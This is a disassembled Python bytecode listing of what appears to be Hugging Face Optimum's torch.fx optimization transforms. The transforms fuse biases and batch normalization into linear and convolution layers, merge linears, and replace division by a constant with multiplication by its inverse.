POP_BLOCK LOAD_CONST <code object <dictcomp> at 0x7fab543e78a0, file "f.py", line 398> LOAD_CONST 'MergeLinears.transform.<locals>.<dictcomp>' MAKE_FUNCTION LOAD_FAST candidates LOAD_METHOD items CALL_METHOD GET_ITER CALL_FUNCTION STORE_FAST candidates SETUP_LOOP to 164 LOAD_FAST candidates LOAD_METHOD items CALL_METHOD GET_ITER FOR_ITER to 162 UNPACK_SEQUENCE STORE_FAST input_node STORE_FAST t LOAD_GLOBAL list LOAD_GLOBAL zip LOAD_FAST t CALL_FUNCTION CALL_FUNCTION UNPACK_SEQUENCE STORE_FAST linear_nodes STORE_FAST linears LOAD_FAST self LOAD_METHOD _merge_linears LOAD_FAST graph_module LOAD_FAST input_node LOAD_FAST linear_nodes LOAD_FAST linears CALL_METHOD POP_TOP JUMP_ABSOLUTE POP_BLOCK LOAD_FAST graph_module RETURN_VALUE BUILD_MAP LOAD_FAST .0 FOR_ITER to 32 UNPACK_SEQUENCE STORE_FAST k STORE_FAST v LOAD_GLOBAL len LOAD_FAST v CALL_FUNCTION LOAD_CONST 1 COMPARE_OP > POP_JUMP_IF_FALSE LOAD_FAST v LOAD_FAST k MAP_ADD JUMP_ABSOLUTE RETURN_VALUE SETUP_LOOP to 42 LOAD_FAST self LOAD_METHOD get_transformed_nodes LOAD_FAST graph_module CALL_METHOD GET_ITER FOR_ITER to 40 STORE_FAST node LOAD_FAST self LOAD_METHOD _unmerge_linears LOAD_FAST graph_module LOAD_FAST node LOAD_FAST graph_module LOAD_METHOD get_submodule LOAD_FAST node LOAD_ATTR target CALL_METHOD CALL_METHOD POP_TOP JUMP_ABSOLUTE POP_BLOCK LOAD_FAST graph_module RETURN_VALUE LOAD_NAME __name__ STORE_NAME __module__ LOAD_CONST 'FuseBiasInLinear' STORE_NAME __qualname__ LOAD_CONST '\n Transformation that fuses the bias to the weight in torch.nn.Linear.\n ' STORE_NAME __doc__ LOAD_CONST True STORE_NAME preserves_computation LOAD_CONST 'GraphModule' LOAD_CONST 'GraphModule' LOAD_CONST ('graph_module', 'return') BUILD_CONST_KEY_MAP LOAD_CONST <code object transform at 0x7fab543e7810, file "f.py", line 422> LOAD_CONST 'FuseBiasInLinear.transform' MAKE_FUNCTION STORE_NAME transform LOAD_CONST 'GraphModule' LOAD_CONST 'GraphModule' LOAD_CONST ('graph_module', 'return') BUILD_CONST_KEY_MAP LOAD_CONST <code object reverse at 0x7fab543e7ed0, file "f.py", line 455> LOAD_CONST 'FuseBiasInLinear.reverse' MAKE_FUNCTION STORE_NAME reverse LOAD_CONST None RETURN_VALUE LOAD_GLOBAL _gen_constructor_wrapper LOAD_GLOBAL torch LOAD_ATTR ones CALL_FUNCTION LOAD_CONST 0 BINARY_SUBSCR STORE_DEREF torch_ones LOAD_CLOSURE torch_ones BUILD_TUPLE LOAD_CONST <code object insert_concat at 0x7fab543e71e0, file "f.py", line 425> LOAD_CONST 'FuseBiasInLinear.transform.<locals>.insert_concat' MAKE_FUNCTION STORE_FAST insert_concat LOAD_GLOBAL torch LOAD_ATTR fx LOAD_ATTR proxy LOAD_METHOD GraphAppendingTracer LOAD_FAST graph_module LOAD_ATTR graph CALL_METHOD STORE_FAST tracer EXTENDED_ARG SETUP_LOOP to 300 LOAD_FAST graph_module LOAD_ATTR graph LOAD_ATTR nodes GET_ITER FOR_ITER to 298 STORE_FAST node LOAD_FAST node LOAD_ATTR op LOAD_CONST 'call_module' COMPARE_OP == POP_JUMP_IF_FALSE LOAD_FAST graph_module LOAD_METHOD get_submodule LOAD_FAST node LOAD_ATTR target CALL_METHOD STORE_FAST module LOAD_GLOBAL isinstance LOAD_FAST module LOAD_GLOBAL torch LOAD_ATTR nn LOAD_ATTR Linear CALL_FUNCTION POP_JUMP_IF_FALSE LOAD_FAST module LOAD_ATTR bias LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_FALSE LOAD_FAST graph_module LOAD_ATTR graph LOAD_METHOD inserting_before LOAD_FAST node CALL_METHOD SETUP_WITH to 236 POP_TOP LOAD_FAST node LOAD_ATTR args LOAD_CONST 0 BINARY_SUBSCR STORE_FAST n LOAD_GLOBAL set CALL_FUNCTION LOAD_FAST node STORE_ATTR nodes_to_ignore SETUP_LOOP to 168 LOAD_FAST n LOAD_FAST node COMPARE_OP is not POP_JUMP_IF_FALSE LOAD_FAST node LOAD_ATTR nodes_to_ignore LOAD_METHOD add LOAD_FAST n CALL_METHOD POP_TOP LOAD_FAST n LOAD_ATTR next STORE_FAST n JUMP_ABSOLUTE POP_BLOCK LOAD_GLOBAL torch LOAD_ATTR fx LOAD_METHOD Proxy LOAD_FAST node LOAD_ATTR args LOAD_CONST 0 BINARY_SUBSCR LOAD_FAST tracer CALL_METHOD STORE_FAST linear_input_proxy LOAD_FAST insert_concat LOAD_FAST linear_input_proxy CALL_FUNCTION STORE_FAST output_proxy LOAD_FAST linear_input_proxy LOAD_ATTR node LOAD_FAST node STORE_ATTR start_node LOAD_FAST output_proxy LOAD_ATTR node LOAD_FAST node STORE_ATTR end_node LOAD_FAST output_proxy LOAD_ATTR node BUILD_TUPLE LOAD_FAST node STORE_ATTR args LOAD_FAST self LOAD_METHOD mark_as_transformed LOAD_FAST node CALL_METHOD POP_TOP POP_BLOCK LOAD_CONST None WITH_CLEANUP_START WITH_CLEANUP_FINISH END_FINALLY LOAD_GLOBAL torch LOAD_ATTR nn LOAD_METHOD Parameter LOAD_GLOBAL torch LOAD_ATTR cat LOAD_FAST module LOAD_ATTR weight LOAD_FAST module LOAD_ATTR bias LOAD_CONST None LOAD_CONST None BUILD_SLICE LOAD_CONST None BUILD_TUPLE BINARY_SUBSCR BUILD_LIST LOAD_CONST 1 LOAD_CONST ('dim',) CALL_FUNCTION CALL_METHOD STORE_FAST new_weight LOAD_FAST new_weight LOAD_FAST module STORE_ATTR weight LOAD_CONST None LOAD_FAST module STORE_ATTR bias JUMP_ABSOLUTE POP_BLOCK LOAD_FAST graph_module RETURN_VALUE LOAD_FAST linear_input LOAD_ATTR shape LOAD_CONST None LOAD_CONST -1 BUILD_SLICE BINARY_SUBSCR LOAD_CONST (1,) BINARY_ADD STORE_FAST shape LOAD_GLOBAL torch LOAD_ATTR cat LOAD_FAST linear_input LOAD_DEREF torch_ones LOAD_FAST shape LOAD_FAST linear_input LOAD_ATTR device LOAD_CONST ('device',) CALL_FUNCTION BUILD_LIST LOAD_CONST -1 LOAD_CONST ('dim',) CALL_FUNCTION RETURN_VALUE SETUP_LOOP to 174 LOAD_FAST self LOAD_METHOD get_transformed_nodes LOAD_FAST graph_module CALL_METHOD GET_ITER FOR_ITER to 172 STORE_FAST node LOAD_FAST node LOAD_ATTR start_node BUILD_TUPLE LOAD_FAST node STORE_ATTR args LOAD_FAST node LOAD_ATTR end_node STORE_FAST n SETUP_LOOP to 76 LOAD_FAST n LOAD_FAST node LOAD_ATTR start_node COMPARE_OP is not POP_JUMP_IF_FALSE LOAD_FAST n LOAD_FAST node LOAD_ATTR nodes_to_ignore COMPARE_OP not in POP_JUMP_IF_FALSE LOAD_FAST graph_module LOAD_ATTR graph LOAD_METHOD erase_node LOAD_FAST n CALL_METHOD POP_TOP LOAD_FAST n LOAD_ATTR prev STORE_FAST n JUMP_ABSOLUTE POP_BLOCK LOAD_FAST self LOAD_METHOD mark_as_restored LOAD_FAST node CALL_METHOD POP_TOP LOAD_FAST graph_module LOAD_METHOD get_submodule LOAD_FAST node LOAD_ATTR target CALL_METHOD STORE_FAST module LOAD_GLOBAL torch LOAD_ATTR nn LOAD_METHOD Parameter LOAD_FAST module LOAD_ATTR weight LOAD_CONST None LOAD_CONST None BUILD_SLICE LOAD_CONST None LOAD_CONST -1 BUILD_SLICE BUILD_TUPLE BINARY_SUBSCR CALL_METHOD STORE_FAST new_weight LOAD_GLOBAL torch LOAD_ATTR nn LOAD_METHOD Parameter LOAD_FAST module LOAD_ATTR weight LOAD_CONST None LOAD_CONST None BUILD_SLICE LOAD_CONST -1 BUILD_TUPLE BINARY_SUBSCR LOAD_METHOD squeeze CALL_METHOD CALL_METHOD STORE_FAST new_bias LOAD_FAST new_weight LOAD_FAST module STORE_ATTR weight LOAD_FAST new_bias LOAD_FAST module STORE_ATTR bias JUMP_ABSOLUTE POP_BLOCK LOAD_FAST graph_module RETURN_VALUE LOAD_NAME __name__ STORE_NAME __module__ LOAD_CONST 'ChangeTrueDivToMulByInverse' STORE_NAME __qualname__ LOAD_CONST '\n Transformation that changes truediv nodes to multiplication by the inverse nodes when the denominator is static.\n For example, that is sometimes the case for the scaling factor in attention layers.\n ' STORE_NAME __doc__ LOAD_CONST True STORE_NAME preserves_computation LOAD_CONST 'GraphModule' LOAD_CONST 'GraphModule' LOAD_CONST ('graph_module', 'return') BUILD_CONST_KEY_MAP LOAD_CONST <code object transform at 0x7fab4107cc00, file "f.py", line 481> LOAD_CONST 'ChangeTrueDivToMulByInverse.transform' MAKE_FUNCTION STORE_NAME transform LOAD_CONST 'GraphModule' LOAD_CONST 'GraphModule' LOAD_CONST ('graph_module', 'return') BUILD_CONST_KEY_MAP LOAD_CONST <code object reverse at 0x7fab4107c390, file "f.py", line 493> LOAD_CONST 'ChangeTrueDivToMulByInverse.reverse' MAKE_FUNCTION STORE_NAME reverse LOAD_CONST None RETURN_VALUE LOAD_FAST graph_module LOAD_ATTR graph STORE_FAST graph SETUP_LOOP to 100 LOAD_FAST graph LOAD_ATTR nodes GET_ITER FOR_ITER to 98 STORE_FAST node LOAD_FAST node LOAD_ATTR op LOAD_CONST 'call_function' COMPARE_OP == POP_JUMP_IF_FALSE LOAD_FAST node LOAD_ATTR target LOAD_GLOBAL operator LOAD_ATTR truediv COMPARE_OP == POP_JUMP_IF_FALSE LOAD_FAST node LOAD_ATTR args UNPACK_SEQUENCE STORE_FAST x STORE_FAST y LOAD_GLOBAL isinstance LOAD_FAST y LOAD_GLOBAL torch LOAD_ATTR fx LOAD_ATTR Node CALL_FUNCTION POP_JUMP_IF_TRUE LOAD_GLOBAL operator LOAD_ATTR mul LOAD_FAST node STORE_ATTR target LOAD_FAST x LOAD_CONST 1 LOAD_FAST y BINARY_TRUE_DIVIDE BUILD_TUPLE LOAD_FAST node STORE_ATTR args LOAD_FAST self LOAD_METHOD mark_as_transformed LOAD_FAST node CALL_METHOD POP_TOP JUMP_ABSOLUTE POP_BLOCK LOAD_FAST graph_module RETURN_VALUE SETUP_LOOP to 62 LOAD_FAST self LOAD_METHOD get_transformed_nodes LOAD_FAST graph_module CALL_METHOD GET_ITER FOR_ITER to 60 STORE_FAST node LOAD_GLOBAL operator LOAD_ATTR truediv LOAD_FAST node STORE_ATTR target LOAD_FAST node LOAD_ATTR args UNPACK_SEQUENCE STORE_FAST x STORE_FAST y LOAD_FAST x LOAD_CONST 1 LOAD_FAST y BINARY_TRUE_DIVIDE BUILD_TUPLE LOAD_FAST node STORE_ATTR args LOAD_FAST self LOAD_METHOD mark_as_restored LOAD_FAST node CALL_METHOD POP_TOP JUMP_ABSOLUTE POP_BLOCK LOAD_FAST graph_module RETURN_VALUE LOAD_NAME __name__ STORE_NAME __module__ LOAD_CONST 'FuseBatchNorm2dInConv2d' STORE_NAME __qualname__ LOAD_CONST '\n Transformation that fuses `nn.BatchNorm2d` following `nn.Conv2d` into a single `nn.Conv2d`.\n The fusion will be done only if the convolution has the batch normalization as sole following node.\n\n For example, fusion will not be done in the case\n ```\n Conv2d\n / \\\n / \\\n ReLU BatchNorm2d\n ```\n\n Example:\n ```python\n >>> from transformers.utils.fx import symbolic_trace\n >>> from transformers import AutoModelForImageClassification\n\n >>> from optimum.fx.optimization import FuseBatchNorm2dInConv2d\n\n >>> model = AutoModelForImageClassification.from_pretrained("microsoft/resnet-50")\n >>> model.eval() # doctest: +IGNORE_RESULT\n\n >>> traced_model = symbolic_trace(\n ... model,\n ... input_names=["pixel_values"],\n ... disable_check=True\n ... )\n\n >>> transformation = FuseBatchNorm2dInConv2d()\n >>> transformed_model = transformation(traced_model)\n ```\n ' STORE_NAME __doc__ LOAD_CONST True STORE_NAME preserves_computation LOAD_CONST 'GraphModule' LOAD_CONST 'GraphModule' LOAD_CONST ('graph_module', 'return') BUILD_CONST_KEY_MAP LOAD_CONST <code object transform at 0x7fab4107c6f0, file "f.py", line 540> LOAD_CONST 'FuseBatchNorm2dInConv2d.transform' MAKE_FUNCTION STORE_NAME transform LOAD_NAME torch LOAD_ATTR nn LOAD_ATTR Conv2d LOAD_NAME torch LOAD_ATTR nn LOAD_ATTR BatchNorm2d LOAD_CONST ('conv2d', 'bn2d') BUILD_CONST_KEY_MAP LOAD_CONST <code object fuse at 0x7fab4107c930, file "f.py", line 571> LOAD_CONST 'FuseBatchNorm2dInConv2d.fuse' MAKE_FUNCTION STORE_NAME fuse LOAD_CONST None RETURN_VALUE EXTENDED_ARG SETUP_LOOP to 272 LOAD_FAST graph_module LOAD_ATTR graph LOAD_ATTR nodes GET_ITER EXTENDED_ARG FOR_ITER to 270 STORE_FAST node LOAD_FAST node LOAD_ATTR op LOAD_CONST 'call_module' COMPARE_OP == POP_JUMP_IF_FALSE LOAD_FAST node LOAD_ATTR args LOAD_CONST 0 BINARY_SUBSCR LOAD_ATTR op LOAD_CONST 'call_module' COMPARE_OP == POP_JUMP_IF_FALSE LOAD_GLOBAL type LOAD_FAST graph_module LOAD_METHOD get_submodule LOAD_FAST node LOAD_ATTR target CALL_METHOD CALL_FUNCTION LOAD_GLOBAL torch LOAD_ATTR nn LOAD_ATTR BatchNorm2d COMPARE_OP is POP_JUMP_IF_FALSE LOAD_GLOBAL type LOAD_FAST graph_module LOAD_METHOD get_submodule LOAD_FAST node LOAD_ATTR args LOAD_CONST 0 BINARY_SUBSCR LOAD_ATTR target CALL_METHOD CALL_FUNCTION LOAD_GLOBAL torch LOAD_ATTR nn LOAD_ATTR Conv2d COMPARE_OP is POP_JUMP_IF_FALSE LOAD_GLOBAL len LOAD_FAST node LOAD_ATTR args LOAD_CONST 0 BINARY_SUBSCR LOAD_ATTR users CALL_FUNCTION LOAD_CONST 1 COMPARE_OP > POP_JUMP_IF_FALSE JUMP_ABSOLUTE LOAD_FAST self LOAD_ATTR fuse LOAD_FAST graph_module LOAD_METHOD get_submodule LOAD_FAST node LOAD_ATTR args LOAD_CONST 0 BINARY_SUBSCR LOAD_ATTR target CALL_METHOD LOAD_FAST graph_module LOAD_METHOD get_submodule LOAD_FAST node LOAD_ATTR target CALL_METHOD LOAD_CONST ('conv2d', 'bn2d') CALL_FUNCTION STORE_FAST fused_conv LOAD_FAST node LOAD_ATTR args LOAD_CONST 0 BINARY_SUBSCR LOAD_ATTR target LOAD_METHOD rpartition LOAD_CONST '.' CALL_METHOD UNPACK_SEQUENCE STORE_FAST parent_name STORE_FAST _ STORE_FAST name LOAD_FAST graph_module LOAD_METHOD get_submodule LOAD_FAST parent_name CALL_METHOD STORE_FAST parent_module LOAD_GLOBAL setattr LOAD_FAST parent_module LOAD_FAST name LOAD_FAST fused_conv CALL_FUNCTION POP_TOP LOAD_FAST node LOAD_ATTR target LOAD_METHOD rpartition LOAD_CONST '.' CALL_METHOD UNPACK_SEQUENCE STORE_FAST parent_name STORE_FAST _ STORE_FAST name LOAD_FAST graph_module LOAD_METHOD get_submodule LOAD_FAST parent_name CALL_METHOD STORE_FAST parent_module LOAD_GLOBAL delattr LOAD_FAST parent_module LOAD_FAST name CALL_FUNCTION POP_TOP LOAD_FAST node LOAD_METHOD replace_all_uses_with LOAD_FAST node LOAD_ATTR args LOAD_CONST 0 BINARY_SUBSCR CALL_METHOD POP_TOP LOAD_FAST graph_module LOAD_ATTR graph LOAD_METHOD erase_node LOAD_FAST node CALL_METHOD POP_TOP JUMP_ABSOLUTE POP_BLOCK LOAD_FAST graph_module RETURN_VALUE LOAD_FAST conv2d LOAD_ATTR bias LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_FALSE LOAD_FAST conv2d LOAD_ATTR bias JUMP_FORWARD to 26 LOAD_GLOBAL torch LOAD_METHOD zeros_like LOAD_FAST bn2d LOAD_ATTR running_mean CALL_METHOD STORE_FAST conv_b LOAD_FAST bn2d LOAD_ATTR weight LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_FALSE LOAD_FAST bn2d LOAD_ATTR weight JUMP_FORWARD to 54 LOAD_GLOBAL torch LOAD_METHOD ones_like LOAD_FAST bn2d LOAD_ATTR running_mean CALL_METHOD STORE_FAST bn_w LOAD_FAST bn2d LOAD_ATTR bias LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_FALSE LOAD_FAST bn2d LOAD_ATTR bias JUMP_FORWARD to 82 LOAD_GLOBAL torch LOAD_METHOD ones_like LOAD_FAST bn2d LOAD_ATTR running_mean CALL_METHOD STORE_FAST bn_b LOAD_GLOBAL torch LOAD_METHOD rsqrt LOAD_FAST bn2d LOAD_ATTR running_var LOAD_FAST bn2d LOAD_ATTR eps BINARY_ADD CALL_METHOD STORE_FAST bn_var_rsqrt LOAD_GLOBAL torch LOAD_ATTR nn LOAD_METHOD Parameter LOAD_FAST conv2d LOAD_ATTR weight LOAD_FAST bn_w LOAD_FAST bn_var_rsqrt BINARY_MULTIPLY LOAD_METHOD reshape LOAD_CONST -1 BUILD_LIST LOAD_CONST 1 BUILD_LIST LOAD_GLOBAL len LOAD_FAST conv2d LOAD_ATTR weight LOAD_ATTR shape CALL_FUNCTION LOAD_CONST 1 BINARY_SUBTRACT BINARY_MULTIPLY BINARY_ADD CALL_METHOD BINARY_MULTIPLY CALL_METHOD LOAD_FAST conv2d STORE_ATTR weight LOAD_GLOBAL torch LOAD_ATTR nn LOAD_METHOD Parameter LOAD_FAST conv_b LOAD_FAST bn2d LOAD_ATTR running_mean LOAD_FAST bn_var_rsqrt BINARY_MULTIPLY LOAD_FAST bn_w BINARY_MULTIPLY BINARY_SUBTRACT LOAD_FAST bn_b BINARY_ADD CALL_METHOD LOAD_FAST conv2d STORE_ATTR bias LOAD_FAST conv2d RETURN_VALUE LOAD_NAME __name__ STORE_NAME __module__ LOAD_CONST 'FuseBatchNorm1dInLinear' STORE_NAME __qualname__ LOAD_CONST '\n Transformation that fuses `nn.BatchNorm1d` following or preceding `nn.Linear` into a single `nn.Linear`.\n The fusion will be done only if the linear layer has the batch normalization as sole following node, or the batch normalization\n has the linear layer as sole following node.\n\n For example, fusion will not be done in the case\n ```\n Linear\n / \\\n / \\\n ReLU BatchNorm1d\n ```\n\n Example:\n ```python\n >>> from transformers.utils.fx import symbolic_trace\n >>> from transformers import AutoModel\n\n >>> from optimum.fx.optimization import FuseBatchNorm1dInLinear\n\n >>> model = AutoModel.from_pretrained("nvidia/groupvit-gcc-yfcc")\n >>> model.eval() # doctest: +IGNORE_RESULT\n\n >>> traced_model = symbolic_trace(\n ... model,\n ... input_names=["input_ids", "attention_mask", "pixel_values"],\n ... disable_check=True\n ... )\n\n >>> transformation = FuseBatchNorm1dInLinear()\n >>> transformed_model = transformation(traced_model)\n ```\n ' STORE_NAME __doc__ LOAD_CONST True STORE_NAME preserves_computation LOAD_CONST 'GraphModule' LOAD_CONST 'GraphModule' LOAD_CONST ('graph_module', 'return') BUILD_CONST_KEY_MAP LOAD_CONST <code object transform at 0x7fab54381150, file "f.py", line 638> LOAD_CONST 'FuseBatchNorm1dInLinear.transform' MAKE_FUNCTION STORE_NAME transform LOAD_NAME torch LOAD_ATTR nn LOAD_ATTR Linear LOAD_NAME torch LOAD_ATTR nn LOAD_ATTR BatchNorm1d LOAD_NAME bool LOAD_CONST ('linear', 'bn1d', 'bn1d_before') BUILD_CONST_KEY_MAP LOAD_CONST <code object fuse at 0x7fab54381420, file "f.py", line 717> LOAD_CONST 'FuseBatchNorm1dInLinear.fuse' MAKE_FUNCTION STORE_NAME fuse LOAD_CONST None RETURN_VALUE EXTENDED_ARG SETUP_LOOP to 596 LOAD_FAST graph_module LOAD_ATTR graph LOAD_ATTR nodes GET_ITER EXTENDED_ARG FOR_ITER to 594 STORE_FAST node LOAD_FAST node LOAD_ATTR op LOAD_CONST 'call_module' COMPARE_OP == POP_JUMP_IF_FALSE LOAD_FAST node LOAD_ATTR args LOAD_CONST 0 BINARY_SUBSCR LOAD_ATTR op LOAD_CONST 'call_module' COMPARE_OP == POP_JUMP_IF_FALSE LOAD_GLOBAL type LOAD_FAST graph_module LOAD_METHOD get_submodule LOAD_FAST node LOAD_ATTR target CALL_METHOD CALL_FUNCTION LOAD_GLOBAL torch LOAD_ATTR nn LOAD_ATTR BatchNorm1d COMPARE_OP is EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_GLOBAL type LOAD_FAST graph_module LOAD_METHOD get_submodule LOAD_FAST node LOAD_ATTR args LOAD_CONST 0 BINARY_SUBSCR LOAD_ATTR target CALL_METHOD CALL_FUNCTION LOAD_GLOBAL torch LOAD_ATTR nn LOAD_ATTR Linear COMPARE_OP is EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_GLOBAL len LOAD_FAST node LOAD_ATTR args LOAD_CONST 0 BINARY_SUBSCR LOAD_ATTR users CALL_FUNCTION LOAD_CONST 1 COMPARE_OP > POP_JUMP_IF_FALSE JUMP_ABSOLUTE LOAD_FAST graph_module LOAD_METHOD get_submodule LOAD_FAST node LOAD_ATTR args LOAD_CONST 0 BINARY_SUBSCR LOAD_ATTR target CALL_METHOD STORE_FAST candidate_linear LOAD_FAST graph_module LOAD_METHOD get_submodule LOAD_FAST node LOAD_ATTR target CALL_METHOD STORE_FAST candidate_batchnorm1d LOAD_FAST candidate_linear LOAD_ATTR weight LOAD_ATTR shape LOAD_CONST 0 BINARY_SUBSCR LOAD_FAST candidate_batchnorm1d LOAD_ATTR weight LOAD_ATTR shape LOAD_CONST 0 BINARY_SUBSCR COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_FAST self LOAD_ATTR fuse LOAD_FAST candidate_linear LOAD_FAST candidate_batchnorm1d LOAD_CONST False LOAD_CONST ('linear', 'bn1d', 'bn1d_before') CALL_FUNCTION STORE_FAST fused_linear LOAD_FAST node LOAD_ATTR args LOAD_CONST 0 BINARY_SUBSCR LOAD_ATTR target LOAD_METHOD rpartition LOAD_CONST '.' CALL_METHOD UNPACK_SEQUENCE STORE_FAST parent_name STORE_FAST _ STORE_FAST name LOAD_FAST graph_module LOAD_METHOD get_submodule LOAD_FAST parent_name CALL_METHOD STORE_FAST parent_module LOAD_GLOBAL setattr LOAD_FAST parent_module LOAD_FAST name LOAD_FAST fused_linear CALL_FUNCTION POP_TOP LOAD_FAST node LOAD_ATTR target LOAD_METHOD rpartition LOAD_CONST '.' CALL_METHOD UNPACK_SEQUENCE STORE_FAST parent_name STORE_FAST _ STORE_FAST name LOAD_FAST graph_module LOAD_METHOD get_submodule LOAD_FAST parent_name CALL_METHOD STORE_FAST parent_module LOAD_GLOBAL delattr LOAD_FAST parent_module LOAD_FAST name CALL_FUNCTION POP_TOP LOAD_FAST node LOAD_METHOD replace_all_uses_with LOAD_FAST node LOAD_ATTR args LOAD_CONST 0 BINARY_SUBSCR CALL_METHOD POP_TOP LOAD_FAST graph_module LOAD_ATTR graph LOAD_METHOD erase_node LOAD_FAST node CALL_METHOD POP_TOP JUMP_ABSOLUTE LOAD_GLOBAL type LOAD_FAST graph_module LOAD_METHOD get_submodule LOAD_FAST node LOAD_ATTR target CALL_METHOD CALL_FUNCTION LOAD_GLOBAL torch LOAD_ATTR nn LOAD_ATTR Linear COMPARE_OP is POP_JUMP_IF_FALSE LOAD_GLOBAL type LOAD_FAST graph_module LOAD_METHOD get_submodule LOAD_FAST node LOAD_ATTR args LOAD_CONST 0 BINARY_SUBSCR LOAD_ATTR target CALL_METHOD CALL_FUNCTION LOAD_GLOBAL torch LOAD_ATTR nn LOAD_ATTR BatchNorm1d COMPARE_OP is POP_JUMP_IF_FALSE LOAD_GLOBAL len LOAD_FAST node LOAD_ATTR args LOAD_CONST 0 BINARY_SUBSCR LOAD_ATTR users CALL_FUNCTION LOAD_CONST 1 COMPARE_OP > EXTENDED_ARG POP_JUMP_IF_FALSE JUMP_ABSOLUTE LOAD_FAST graph_module LOAD_METHOD get_submodule LOAD_FAST node LOAD_ATTR target CALL_METHOD STORE_FAST candidate_linear LOAD_FAST graph_module LOAD_METHOD get_submodule LOAD_FAST node LOAD_ATTR args LOAD_CONST 0 BINARY_SUBSCR LOAD_ATTR target CALL_METHOD STORE_FAST candidate_batchnorm1d LOAD_FAST candidate_batchnorm1d LOAD_ATTR weight LOAD_ATTR shape LOAD_CONST 0 BINARY_SUBSCR LOAD_FAST candidate_linear LOAD_ATTR weight LOAD_ATTR shape LOAD_CONST 1 BINARY_SUBSCR COMPARE_OP == POP_JUMP_IF_FALSE LOAD_FAST self LOAD_ATTR fuse LOAD_FAST candidate_linear LOAD_FAST candidate_batchnorm1d LOAD_CONST True LOAD_CONST ('linear', 'bn1d', 'bn1d_before') CALL_FUNCTION STORE_FAST fused_linear LOAD_FAST node LOAD_ATTR target LOAD_METHOD rpartition LOAD_CONST '.' CALL_METHOD UNPACK_SEQUENCE STORE_FAST parent_name STORE_FAST _ STORE_FAST name LOAD_FAST graph_module LOAD_METHOD get_submodule LOAD_FAST parent_name CALL_METHOD STORE_FAST parent_module LOAD_GLOBAL setattr LOAD_FAST parent_module LOAD_FAST name LOAD_FAST fused_linear CALL_FUNCTION POP_TOP LOAD_FAST node LOAD_ATTR args LOAD_CONST 0 BINARY_SUBSCR LOAD_ATTR target LOAD_METHOD rpartition LOAD_CONST '.' CALL_METHOD UNPACK_SEQUENCE STORE_FAST parent_name STORE_FAST _ STORE_FAST name LOAD_FAST graph_module LOAD_METHOD get_submodule LOAD_FAST parent_name CALL_METHOD STORE_FAST parent_module LOAD_GLOBAL delattr LOAD_FAST parent_module LOAD_FAST name CALL_FUNCTION POP_TOP LOAD_FAST node LOAD_ATTR args LOAD_CONST 0 BINARY_SUBSCR STORE_FAST batchnorm_node LOAD_FAST node LOAD_ATTR args LOAD_CONST 0 BINARY_SUBSCR LOAD_METHOD replace_all_uses_with LOAD_FAST node LOAD_ATTR args LOAD_CONST 0 BINARY_SUBSCR LOAD_ATTR args LOAD_CONST 0 BINARY_SUBSCR CALL_METHOD POP_TOP LOAD_FAST graph_module LOAD_ATTR graph LOAD_METHOD erase_node LOAD_FAST batchnorm_node CALL_METHOD POP_TOP JUMP_ABSOLUTE POP_BLOCK LOAD_FAST graph_module RETURN_VALUE LOAD_FAST linear LOAD_ATTR bias LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_FALSE LOAD_FAST linear LOAD_ATTR bias JUMP_FORWARD to 26 LOAD_GLOBAL torch LOAD_METHOD zeros_like LOAD_FAST bn1d LOAD_ATTR running_mean CALL_METHOD STORE_FAST linear_b LOAD_FAST bn1d LOAD_ATTR weight LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_FALSE LOAD_FAST bn1d LOAD_ATTR weight JUMP_FORWARD to 54 LOAD_GLOBAL torch LOAD_METHOD ones_like LOAD_FAST bn1d LOAD_ATTR running_mean CALL_METHOD STORE_FAST bn_w LOAD_FAST bn1d LOAD_ATTR bias LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_FALSE LOAD_FAST bn1d LOAD_ATTR bias JUMP_FORWARD to 82 LOAD_GLOBAL torch LOAD_METHOD ones_like LOAD_FAST bn1d LOAD_ATTR running_mean CALL_METHOD STORE_FAST bn_b LOAD_GLOBAL torch LOAD_METHOD rsqrt LOAD_FAST bn1d LOAD_ATTR running_var LOAD_FAST bn1d LOAD_ATTR eps BINARY_ADD CALL_METHOD STORE_FAST bn_var_rsqrt LOAD_FAST bn1d_before POP_JUMP_IF_FALSE LOAD_GLOBAL torch LOAD_ATTR nn LOAD_METHOD Parameter LOAD_FAST linear LOAD_ATTR weight LOAD_FAST bn_w UNARY_NEGATIVE LOAD_FAST bn1d LOAD_ATTR running_mean BINARY_MULTIPLY LOAD_FAST bn_var_rsqrt BINARY_MULTIPLY LOAD_FAST bn_b BINARY_ADD BINARY_MATRIX_MULTIPLY LOAD_FAST linear_b BINARY_ADD CALL_METHOD LOAD_FAST linear STORE_ATTR bias LOAD_GLOBAL torch LOAD_ATTR nn LOAD_METHOD Parameter LOAD_FAST linear LOAD_ATTR weight LOAD_FAST bn_w LOAD_FAST bn_var_rsqrt BINARY_MULTIPLY LOAD_CONST None LOAD_CONST None LOAD_CONST None BUILD_SLICE BUILD_TUPLE BINARY_SUBSCR BINARY_MULTIPLY CALL_METHOD LOAD_FAST linear STORE_ATTR weight JUMP_FORWARD to 252 LOAD_GLOBAL torch LOAD_ATTR nn LOAD_METHOD Parameter LOAD_FAST linear_b LOAD_FAST bn1d LOAD_ATTR running_mean BINARY_SUBTRACT LOAD_FAST bn_var_rsqrt BINARY_MULTIPLY LOAD_FAST bn_w BINARY_MULTIPLY LOAD_FAST bn_b BINARY_ADD CALL_METHOD LOAD_FAST linear STORE_ATTR bias LOAD_GLOBAL torch LOAD_ATTR nn LOAD_METHOD Parameter LOAD_FAST linear LOAD_ATTR weight LOAD_FAST bn_w LOAD_FAST bn_var_rsqrt BINARY_MULTIPLY LOAD_CONST None LOAD_CONST None BUILD_SLICE LOAD_CONST None BUILD_TUPLE BINARY_SUBSCR BINARY_MULTIPLY CALL_METHOD LOAD_FAST linear STORE_ATTR weight LOAD_FAST linear RETURN_VALUE LOAD_NAME __name__ STORE_NAME __module__ LOAD_CONST 'DeepCopy' STORE_NAME __qualname__ LOAD_CONST '\n Transformation that does nothing except making a deepcopy of the graph module.\n ' STORE_NAME __doc__ LOAD_CONST True STORE_NAME preserves_computation LOAD_CONST 'GraphModule' LOAD_CONST 'GraphModule' LOAD_CONST ('graph_module', 'return') BUILD_CONST_KEY_MAP 